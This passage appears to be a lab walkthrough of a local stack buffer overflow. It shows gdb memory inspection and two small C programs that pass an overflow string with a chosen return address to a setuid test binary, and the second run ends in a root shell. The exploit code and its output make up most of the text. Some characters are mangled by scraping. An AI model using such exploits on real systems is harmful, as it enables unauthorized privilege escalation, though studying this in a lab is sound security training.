0xbfffff4b: “LOGNAME=vangelis”
0xbfffff5c: “LESSOPEN=|/usr/bin/lesspipe.sh %s”
0xbfffff7e: “DISPLAY=:0”
0xbfffff89: “G_BROKEN_FILENAMES=1”
0xbfffff9e: “COLORTERM=gnome-terminal”
0xbfffffb7: “XAUTHORITY=/home/vangelis/.xauthsvjSKd”
0xbfffffde: “/home/vangelis/test/bof/setid”
0xbffffffc: “”
0xbffffffd: “”
0xbffffffe: “”
0xbfffffff: “”
(gdb) q
The program is running. Exit anyway? (y or n) y
[[email protected] bof]$ cat > exploit.c
#include

int main()
{
char *path = “/home/vangelis/test/bof/vul2”;
char *argv[] = { “./setid”, “AAAABBBBCCCCDDDDEEEEFFFF\xde\xff\xff\xbf\x93\xe8

\x0a\x42″, 0 };
execve(path, argv, 0);
return 0;
}
[[email protected] bof]$ gcc -o exploit exploit.c
[[email protected] bof]$ ./exploit
Segmentation fault
[[email protected] bof]$
[[email protected] bof]$ gdb -q exploit
(gdb) r
Starting program: /home/vangelis/test/bof/exploit
/bin/bash: /root/.bashrc: Permission denied

Program received signal SIGTRAP, Trace/breakpoint trap.
0x40000b30 in _start () from /lib/ld-linux.so.2
(gdb) sysmol-file /home/vangelis/test/bof/exploit
Undefined command: “sysmol-file”. Try “help”.
(gdb) symbol-file /home/vangelis/test/bof/exploit
Load new symbol table from “/home/vangelis/test/bof/exploit”? (y or n) y

Reading symbols from /home/vangelis/test/bof/exploit…done.
(gdb) b main
Breakpoint 1 at 0x804832e
(gdb) c
Continuing.

Breakpoint 1, 0x0804832e in main ()
(gdb) x/10wx $ebp
0xbffffed8: 0xbffffef8 0x420158d4 0x00000002 0xbfffff24
0xbffffee8: 0xbfffff30 0x400124b8 0x00000002 0x08048278
0xbffffef8: 0x00000000 0x08048299
(gdb) x/10wx 0xbfffff24
0xbfffff24: 0xbfffffb7 0xbfffffbf 0x00000000 0x00000000
0xbfffff34: 0x00000010 0x0183f9ff 0x00000006 0x00001000
0xbfffff44: 0x00000011 0x00000064
(gdb) x/s 0xbfffffb7
0xbfffffb7: “./setid”
(gdb) x/s 0xbfffffbf
0xbfffffbf: “AAAABBBBCCCCDDDDEEEEFFFF????\223?\nB”
(gdb) q
The program is running. Exit anyway? (y or n) y
[[email protected] bof]$ cat > exploit2.c
#include

int main()
{
char *path = “/home/vangelis/test/bof/vul2”;
char *argv[] = { “./setid”, “AAAABBBBCCCCDDDDEEEEFFFF\x1c\xff\xff\xbf\x93\xe8

\x0a\x42″, 0 };
execve(path, argv, 0);
return 0;
}
[[email protected] bof]$ gcc -o exploit2 exploit2.c
[[email protected] bof]$ ./exploit2
sh-2.05b#